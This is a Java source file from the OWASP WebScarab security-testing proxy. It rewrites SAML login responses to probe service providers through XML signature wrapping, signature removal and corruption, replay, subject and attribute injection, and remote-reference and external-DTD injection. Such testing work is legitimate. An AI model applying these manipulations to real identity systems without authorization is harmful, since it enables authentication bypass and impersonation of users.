/** * ********************************************************************* * * $CVSHeader$ * * This file is part of WebScarab, an Open Web Application Security Project * utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2010 FedICT Copyright (c) 2010 Frank Cornelis * <info@frankcornelis.be> * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 59 Temple * Place - Suite 330, Boston, MA 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at Sourceforge.net, a repository * for free software projects. * * For details, please see http://www.sourceforge.net/projects/owasp * */ package org.owasp.webscarab.plugin.saml; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.security.KeyStore; import java.security.PrivateKey; import java.security.cert.Certificate; import java.security.cert.X509Certificate; import java.util.LinkedList; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import javax.xml.transform.Result; import javax.xml.transform.Source; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerConfigurationException; import javax.xml.transform.TransformerException; import javax.xml.transform.TransformerFactory; import javax.xml.transform.dom.DOMSource; import javax.xml.transform.stream.StreamResult; import org.apache.xml.security.exceptions.Base64DecodingException; import org.apache.xml.security.exceptions.XMLSecurityException; import org.apache.xml.security.keys.KeyInfo; import org.apache.xml.security.keys.content.X509Data; import org.apache.xml.security.signature.XMLSignature; import org.apache.xml.security.transforms.Transforms; import org.apache.xml.security.utils.Base64; import org.apache.xml.security.utils.Constants; import org.owasp.webscarab.httpclient.HTTPClient; import org.owasp.webscarab.model.NamedValue; import org.owasp.webscarab.model.Request; import org.owasp.webscarab.model.Response; import org.owasp.webscarab.util.Encoding; import org.w3c.dom.Attr; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; /** * * @author Frank Cornelis */ public class SamlHTTPClient implements HTTPClient { private Logger _logger = Logger.getLogger(getClass().getName()); private final HTTPClient in; private final SamlProxyConfig samlProxyConfig; public SamlHTTPClient(HTTPClient in, SamlProxyConfig samlProxyConfig) { this.in = in; this.samlProxyConfig = samlProxyConfig; } @Override public Response fetchResponse(Request request) throws IOException { /* * We want a very fast fall-through in case nothing needs to be done. */ if (false == this.samlProxyConfig.doSomething()) { Response response = this.in.fetchResponse(request); return response; } changeSamlResponse(request); Response response = this.in.fetchResponse(request); return response; } private void changeSamlResponse(Request request) { String method = request.getMethod(); if (false == "POST".equals(method)) { return; } String contentType = request.getHeader("Content-Type"); if (null == contentType) { return; } if (false == "application/x-www-form-urlencoded".equals(contentType)) { return; } byte[] content = request.getContent(); if (null == content) { return; } if (0 == content.length) { return; } String body = new String(content); NamedValue[] namedValues = NamedValue.splitNamedValues( body, "&", "="); boolean samlResponseMessage = false; String samlProxyHeader = ""; for (int idx = 0; idx < namedValues.length; idx++) { if ("RelayState".equals(namedValues[idx].getName())) { if (this.samlProxyConfig.doInjectRelayState()) { String newRelayState = getInjectedRelayState(); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newRelayState); samlProxyHeader += "injected relay state;"; } } if (false == "SAMLResponse".equals(namedValues[idx].getName())) { continue; } samlResponseMessage = true; try { if (this.samlProxyConfig.doReplay()) { String newSamlResponse = replaySamlResponse(); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "replayed;"; } if (this.samlProxyConfig.doSignWrapAttack()) { String newSamlResponse = signatureWrapping(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "signature wrapping;"; } if (this.samlProxyConfig.doInjectAttribute()) { String newSamlResponse = injectAttribute(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "injected attribute;"; } if (this.samlProxyConfig.doInjectSubject()) { String newSamlResponse = injectSubject(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "injected subject;"; } if (this.samlProxyConfig.doInjectPublicDoctype()) { String newSamlResponse = injectPublicDoctype(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "injected public doctype;"; } if (this.samlProxyConfig.doRemoveAssertionSignature()) { String newSamlResponse = removeSamlAssertionSignature(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "removed assertion signature;"; } if (this.samlProxyConfig.doSignSamlMessage()) { String newSamlResponse = signSamlMessage(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "sign;"; } else if (this.samlProxyConfig.doRemoveSignature()) { String newSamlResponse = removeSamlResponseSignature(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "removed signature;"; } else { if (this.samlProxyConfig.doCorruptSignature()) { String newSamlResponse = corruptSamlResponseSignature(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "corrupted signature;"; } if (this.samlProxyConfig.doInjectRemoteReference()) { String newSamlResponse = injectRemoteReference(namedValues[idx].getValue()); namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse); samlProxyHeader += "injected remote reference;"; } } } catch (Exception ex) { this._logger.log(Level.WARNING, "could not corrupt the SAML Response signature: {0}", ex.getMessage()); continue; } } if (false == samlResponseMessage) { return; } StringBuilder newBody = new StringBuilder(); for (int idx = 0; idx < namedValues.length; idx++) { NamedValue namedValue = namedValues[idx]; if (0 != newBody.length()) { newBody.append("&"); } newBody.append(namedValue.getName()); newBody.append("="); newBody.append(namedValue.getValue()); } request.setContent(newBody.toString().getBytes()); if (samlProxyHeader.length() > 0) { request.addHeader("X-SAMLProxy", samlProxyHeader); } } private String corruptSamlResponseSignature(String samlResponse) throws TransformerConfigurationException, TransformerException, IOException, ParserConfigurationException, SAXException, Base64DecodingException { Document document = parseDocument(samlResponse); Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document); if (null == protocolSignatureElement) { this._logger.warning("no XML signature found"); return samlResponse; } NodeList referenceNodeList = protocolSignatureElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "Reference"); if (0 == referenceNodeList.getLength()) { this._logger.warning("no XMLDSig Reference element present"); return samlResponse; } /* * We simply corrupt the first ds:Reference that we encounter. */ Element referenceElement = (Element) referenceNodeList.item(0); NodeList digestValueNodeList = referenceElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "DigestValue"); Element digestValueElement = (Element) digestValueNodeList.item(0); String digestValue = digestValueElement.getTextContent(); digestValue = "12345678" + digestValue; digestValueElement.setTextContent(digestValue); return outputDocument(document); } private String removeSamlResponseSignature(String samlResponse) throws IOException, ParserConfigurationException, SAXException, TransformerConfigurationException, TransformerException, Base64DecodingException { Document document = parseDocument(samlResponse); Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document); if (null == protocolSignatureElement) { return samlResponse; } protocolSignatureElement.getParentNode().removeChild(protocolSignatureElement); return outputDocument(document); } private String outputDocument(Document document) throws TransformerConfigurationException, TransformerException { ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); Result result = new StreamResult(outputStream); Transformer xformer = TransformerFactory.newInstance().newTransformer(); Source source = new DOMSource(document); xformer.transform(source, result); String encodedChangedSamlResponse = Base64.encode(outputStream.toByteArray()); return Encoding.urlEncode(encodedChangedSamlResponse); } private Document parseDocument(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException { byte[] decodedSamlResponse = Base64.decode(Encoding.urlDecode(samlResponse)); ByteArrayInputStream inputStream = new ByteArrayInputStream(decodedSamlResponse); DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setNamespaceAware(true); DocumentBuilder builder = builderFactory.newDocumentBuilder(); Document document = builder.parse(inputStream); return document; } private String replaySamlResponse() { String replayedSamlResponse = this.samlProxyConfig.getReplaySamlResponse(); return replayedSamlResponse; } private String injectRemoteReference(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException { Document document = parseDocument(samlResponse); Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document); if (null == protocolSignatureElement) { this._logger.warning("no XML signature found"); return samlResponse; } NodeList signedInfoNodeList = protocolSignatureElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "SignedInfo"); if (0 == signedInfoNodeList.getLength()) { this._logger.warning("no SignedInfo present in XML signature"); return samlResponse; } Element signedInfoElement = (Element) signedInfoNodeList.item(0); String namespacePrefix = protocolSignatureElement.getPrefix(); if (null == namespacePrefix) { namespacePrefix = ""; } else { namespacePrefix = namespacePrefix + ":"; } Element referenceElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", namespacePrefix + "Reference"); signedInfoElement.appendChild(referenceElement); String remoteReference = this.samlProxyConfig.getRemoteReference(); referenceElement.setAttributeNS(null, "URI", remoteReference); Element digestMethodElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", namespacePrefix + "DigestMethod"); referenceElement.appendChild(digestMethodElement); digestMethodElement.setAttributeNS(null, "Algorithm", "http://www.w3.org/2000/09/xmldsig#sha1"); Element digestValueElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", namespacePrefix + "DigestValue"); referenceElement.appendChild(digestValueElement); digestValueElement.appendChild(document.createTextNode("12345678")); return outputDocument(document); } private String injectAttribute(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException { Document document = parseDocument(samlResponse); List<NamedValue> injectionAttributes = this.samlProxyConfig.getInjectionAttributes(); if (null != injectionAttributes) { for (NamedValue attribute : injectionAttributes) { String name = attribute.getName(); String value = attribute.getValue(); setAttribute(document, name, value); } } return outputDocument(document); } private void setAttribute(Document document, String name, String value) { this._logger.fine("injecting attribute: " + name); Occurences attributeOccurences = this.samlProxyConfig.getAttributeOccurences(); NodeList attributeNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "Attribute"); Element lastAttributeElement = null; for (int idx = 0; idx < attributeNodeList.getLength(); idx++) { Element attributeElement = (Element) attributeNodeList.item(idx); String attributeName = attributeElement.getAttribute("AttributeName"); if (attributeName.equals(name)) { if (attributeOccurences == Occurences.LAST) { lastAttributeElement = attributeElement; } else { NodeList attributeValueNodeList = attributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "AttributeValue"); for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) { Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx); attributeValueElement.getChildNodes().item(0).setNodeValue(value); } if (attributeOccurences == Occurences.FIRST) { break; } } } } if (attributeOccurences == Occurences.LAST) { if (null != lastAttributeElement) { NodeList attributeValueNodeList = lastAttributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "AttributeValue"); for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) { Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx); attributeValueElement.getChildNodes().item(0).setNodeValue(value); } return; } } NodeList attribute2NodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "Attribute"); for (int idx = 0; idx < attribute2NodeList.getLength(); idx++) { Element attributeElement = (Element) attribute2NodeList.item(idx); String attributeName = attributeElement.getAttribute("Name"); if (attributeName.equals(name)) { if (attributeOccurences == Occurences.LAST) { lastAttributeElement = attributeElement; } else { NodeList attributeValueNodeList = attributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "AttributeValue"); for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) { Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx); attributeValueElement.getChildNodes().item(0).setNodeValue(value); } if (attributeOccurences == Occurences.FIRST) { break; } } } } if (attributeOccurences == Occurences.LAST) { if (null != lastAttributeElement) { NodeList attributeValueNodeList = lastAttributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "AttributeValue"); for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) { Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx); attributeValueElement.getChildNodes().item(0).setNodeValue(value); } } } } private String getInjectedRelayState() { String injectionRelayState = this.samlProxyConfig.getRelayState(); return Encoding.urlEncode(injectionRelayState); } private String injectSubject(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException { Document document = parseDocument(samlResponse); String injectionSubject = this.samlProxyConfig.getInjectionSubject(); Occurences subjectOccurences = this.samlProxyConfig.getSubjectOccurences(); NodeList subjectNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "Subject"); saml1: for (int subjectIdx = 0; subjectIdx < subjectNodeList.getLength(); subjectIdx++) { switch (subjectOccurences) { case ALL: break; case FIRST: if (subjectIdx != 0) { break saml1; } break; case LAST: if (subjectIdx != subjectNodeList.getLength() - 1) { continue saml1; } break; } Element subjectElement = (Element) subjectNodeList.item(subjectIdx); NodeList nameIdentifierNodeList = subjectElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "NameIdentifier"); if (0 != nameIdentifierNodeList.getLength()) { nameIdentifierNodeList.item(0).getChildNodes().item(0).setNodeValue(injectionSubject); } } NodeList subject2NodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "Subject"); saml2: for (int subjectIdx = 0; subjectIdx < subject2NodeList.getLength(); subjectIdx++) { switch (subjectOccurences) { case ALL: break; case FIRST: if (subjectIdx != 0) { break saml2; } break; case LAST: if (subjectIdx != subject2NodeList.getLength() - 1) { continue saml2; } break; } Element subjectElement = (Element) subject2NodeList.item(subjectIdx); NodeList nameIDNodeList = subjectElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "NameID"); if (0 != nameIDNodeList.getLength()) { nameIDNodeList.item(0).getChildNodes().item(0).setNodeValue(injectionSubject); } } return outputDocument(document); } private String injectPublicDoctype(String samlResponse) throws Base64DecodingException { String dtdUri = this.samlProxyConfig.getDtdUri(); byte[] decodedSamlResponse = Base64.decode(Encoding.urlDecode(samlResponse)); String newDecodedSamlResponse = "<!DOCTYPE SomeElement SYSTEM \"" + dtdUri + "\">" + new String(decodedSamlResponse); String newSamlResponse = Encoding.urlEncode(Base64.encode(newDecodedSamlResponse.getBytes())); return newSamlResponse; } private String signSamlMessage(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException, XMLSecurityException { Document document = parseDocument(samlResponse); Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document); if (null == protocolSignatureElement) { return samlResponse; } protocolSignatureElement.getParentNode().removeChild(protocolSignatureElement); XMLSignature xmlSignature = new XMLSignature(document, null, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA1); document.getDocumentElement().insertBefore(xmlSignature.getElement(), document.getDocumentElement().getFirstChild()); Transforms transforms = new Transforms(document); transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE); transforms.addTransform(Transforms.TRANSFORM_C14N_EXCL_OMIT_COMMENTS); xmlSignature.addDocument("", transforms, Constants.ALGO_ID_DIGEST_SHA1); KeyStore.PrivateKeyEntry privateKeyEntry = this.samlProxyConfig.getPrivateKeyEntry(); KeyInfo keyInfo = xmlSignature.getKeyInfo(); X509Data x509Data = new X509Data(document); Certificate[] certificateChain = privateKeyEntry.getCertificateChain(); for (int certIdx = 0; certIdx < certificateChain.length; certIdx++) { Certificate certificate = certificateChain[certIdx]; x509Data.addCertificate((X509Certificate) certificate); } keyInfo.add(x509Data); PrivateKey privateKey = privateKeyEntry.getPrivateKey(); xmlSignature.sign(privateKey); return outputDocument(document); } private String signatureWrapping(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException { Document document = parseDocument(samlResponse); Wrapper wrapper = this.samlProxyConfig.getWrapper(); switch (wrapper) { case DS_OBJECT: { Element signatureElement; SignatureType wrapperTargetSignature = this.samlProxyConfig.getWrapperTargetSignature(); this._logger.log(Level.FINE, "wrapper target signature: " + wrapperTargetSignature); switch (wrapperTargetSignature) { default: case PROTOCOL: signatureElement = SamlModel.findProtocolSignatureElement(document); break; case ASSERTION: signatureElement = SamlModel.findAssertionSignatureElement(document); break; } if (null == signatureElement) { this._logger.fine("no signature element found"); return samlResponse; } String dsPrefix = signatureElement.getPrefix(); String dsObjectQualifiedName; if (null == dsPrefix) { dsObjectQualifiedName = "Object"; } else { dsObjectQualifiedName = dsPrefix + ":Object"; } Element dsObjectElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", dsObjectQualifiedName); Element parentElement = (Element) signatureElement.getParentNode(); Element importedParentElement = (Element) document.importNode(parentElement, true); dsObjectElement.appendChild(importedParentElement); signatureElement.appendChild(dsObjectElement); if (this.samlProxyConfig.doRenameAssertionId()) { Attr idAttr = parentElement.getAttributeNode("ID"); // SAML 2 if (null == idAttr) { idAttr = parentElement.getAttributeNode("AssertionID"); // SAML 1.1 } String oldIdValue = idAttr.getValue(); String newIdValue = "renamed-" + oldIdValue; idAttr.setValue(newIdValue); } } break; case SAMLP_EXTENSIONS: { Element samlResponseElement = document.getDocumentElement(); String samlpPrefix = samlResponseElement.getPrefix(); String samlpExtensionsQualifiedName; if (null == samlpPrefix) { samlpExtensionsQualifiedName = "Extensions"; } else { samlpExtensionsQualifiedName = samlpPrefix + ":Extensions"; } String samlpNamespace = samlResponseElement.getNamespaceURI(); Element samlpExtensionsElement = document.createElementNS(samlpNamespace, samlpExtensionsQualifiedName); Element importedSamlResponseElement = (Element) document.importNode(samlResponseElement, true); samlpExtensionsElement.appendChild(importedSamlResponseElement); samlResponseElement.appendChild(samlpExtensionsElement); } break; case ASSERTION: { NodeList saml2AssertionNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "Assertion"); if (saml2AssertionNodeList.getLength() != 0) { Element assertionElement = (Element) saml2AssertionNodeList.item(0); Element importedAssertionElement = (Element) document.importNode(assertionElement, true); assertionElement.getParentNode().appendChild(importedAssertionElement); if (this.samlProxyConfig.doRenameAssertionId()) { Attr idAttr = assertionElement.getAttributeNode("ID"); // SAML 2 if (null == idAttr) { idAttr = assertionElement.getAttributeNode("AssertionID"); // SAML 1.1 } String oldIdValue = idAttr.getValue(); String newIdValue = "renamed-" + oldIdValue; idAttr.setValue(newIdValue); } if (this.samlProxyConfig.doRenameLastAssertionId()) { Attr idAttr = importedAssertionElement.getAttributeNode("ID"); // SAML 2 if (null == idAttr) { idAttr = importedAssertionElement.getAttributeNode("AssertionID"); // SAML 1.1 } String oldIdValue = idAttr.getValue(); String newIdValue = "renamed-" + oldIdValue; idAttr.setValue(newIdValue); } } } break; } if (this.samlProxyConfig.doRenameTopId()) { Element rootElement = document.getDocumentElement(); Attr idAttr = rootElement.getAttributeNode("ID"); // SAML 2.0 if (null == idAttr) { idAttr = rootElement.getAttributeNode("ResponseID"); // SAML 1.1 } String oldIdValue = idAttr.getValue(); String newIdValue = "renamed-" + oldIdValue; idAttr.setValue(newIdValue); } return outputDocument(document); } private String removeSamlAssertionSignature(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException { Document document = parseDocument(samlResponse); List<Element> assertionSignatureElements = findAssertionSignatures(document); for (Element assertionSignatureElement : assertionSignatureElements) { assertionSignatureElement.getParentNode().removeChild(assertionSignatureElement); } return outputDocument(document); } private List<Element> findAssertionSignatures(Document document) { List<Element> assertionSignatures = new LinkedList<Element>(); NodeList childNodeList = document.getDocumentElement().getChildNodes(); for (int nodeIdx = 0; nodeIdx < childNodeList.getLength(); nodeIdx++) { Node childNode = childNodeList.item(nodeIdx); if (childNode.getNodeType() == Node.ELEMENT_NODE) { Element childElement = (Element) childNode; if ("urn:oasis:names:tc:SAML:2.0:assertion".equals(childElement.getNamespaceURI()) && "Assertion".equals(childElement.getLocalName())) { NodeList signatureNodeList = childElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "Signature"); for (int signatureNodeIdx = 0; signatureNodeIdx < signatureNodeList.getLength(); signatureNodeIdx++) { Element signatureElement = (Element) signatureNodeList.item(signatureNodeIdx); assertionSignatures.add(signatureElement); } } } } NodeList assertionNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "Assertion"); for (int assertionNodeIdx = 0; assertionNodeIdx < assertionNodeList.getLength(); assertionNodeIdx++) { Element assertionElement = (Element) assertionNodeList.item(assertionNodeIdx); NodeList signatureNodeList = assertionElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "Signature"); for (int signatureNodeIdx = 0; signatureNodeIdx < signatureNodeList.getLength(); signatureNodeIdx++) { Element signatureElement = (Element) signatureNodeList.item(signatureNodeIdx); assertionSignatures.add(signatureElement); } } return assertionSignatures; } }